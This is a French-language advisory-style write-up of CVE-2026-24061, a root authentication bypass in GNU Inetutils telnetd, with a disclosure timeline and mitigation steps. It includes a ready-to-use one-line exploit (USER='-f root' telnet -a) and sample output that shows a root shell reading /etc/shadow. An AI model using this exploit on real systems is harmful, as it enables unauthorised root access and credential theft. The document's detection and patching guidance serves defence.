
CVE-2026-24061
Contournement critique d'authentification à distance dans GNU Inetutils telnetd
Le fantôme de 2015 revient pour anéantir tout ce qui fait encore tourner telnet.
Zéro authentification. Une variable d'environnement. Shell root instantané.
CVE-2026-24061 est une vulnérabilité critique d'élévation de privilèges à distance dans GNU Inetutils telnetd ≤ 2.7.
Un attaquant distant non authentifié définit la variable d'environnement USER à "-f root" via l'option Telnet NEW-ENVIRON.
telnetd la passe sans nettoyage directement à /bin/login → login voit -f root → ignore toute authentification → donne à l'attaquant un shell root.
Le code dangereux est resté tranquillement dans l'arbre pendant près de 11 ans (depuis environ 2015).
« Une variable d'env. Aucun mot de passe. Root complet. Bienvenue en 2026. »
Réalité en mars 2026 :
Lorsque telnetd reçoit une option NEW-ENVIRON contenant :
USER=-f root
Il ajoute la valeur directement aux arguments passés à /bin/login :
execve("/bin/login", ["login", "-f", "root", ...], ...)
Le binaire login interprète -f root comme :
« cet utilisateur est déjà authentifié en tant que root — aucune vérification de mot de passe nécessaire. »
→ L'attaquant obtient un prompt #. Fin de la partie.
Choix de conception fatidique : le transfert de -R / de variable d'environnement n'a jamais été restreint aux utilisateurs autorisés.
| Date | Événement |
|---|---|
| ~Mars 2015 | Introduction du traitement vulnérable des variables d'environnement |
| Janv. 2026 | Rapport privé à l'amont |
| Fin janv. 2026 | Divulgation publique et attribution d'un CVE |
| Fin janv. 2026 | Correctif publié (Inetutils ≥ 2.8) |
| 26 janv. 2026 | Ajouté au catalogue CISA Known Exploited Vulnerabilities |
| Fév.–Mars 2026 | Pic d'exploitation contre les systèmes legacy/OT |
| Mars 2026 | De nombreux fabricants d'embarqué encore silencieux ou non patchés |
Versions vulnérables : GNU Inetutils telnetd 1.9.3 – 2.7
Cibles courantes en 2026 :
Sécurisés :
Une seule ligne (tout Linux/macOS avec client telnet) :
USER="-f root" telnet -a 192.168.1.50
Sortie typique :
┌──(attaquant㉿kali)-[~]
└─$ USER="-f root" telnet -a 192.168.1.50
Trying 192.168.1.50...
Connected to 192.168.1.50.
Escape character is '^]'.
Debian GNU/Linux 12 telnetd
root@legacy-box:~# whoami
root
root@legacy-box:~# id
uid=0(root) gid=0(root) groups=0(root)
root@legacy-box:~# cat /etc/shadow
...
Une simple pression sur la touche Entrée plus tard — accès root complet.
telnet localhost 23 # chercher la bannière inetutils
inetutils-telnetd --version # vulnérable si ≤ 2.7
systemctl disable --now inetutils-inetd # ou telnet.socket
pkill telnetd && chmod -x /usr/sbin/telnetd
sudo apt update && sudo apt install --reinstall inetutils-telnetd # → ≥2.8
iptables -A INPUT -p tcp --dport 23 -j DROP
ufw deny 23/tcp